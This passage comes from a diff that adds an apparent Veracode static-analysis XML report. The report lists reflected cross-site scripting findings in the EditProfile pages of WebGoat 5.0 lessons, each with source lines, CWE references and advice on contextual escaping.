+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
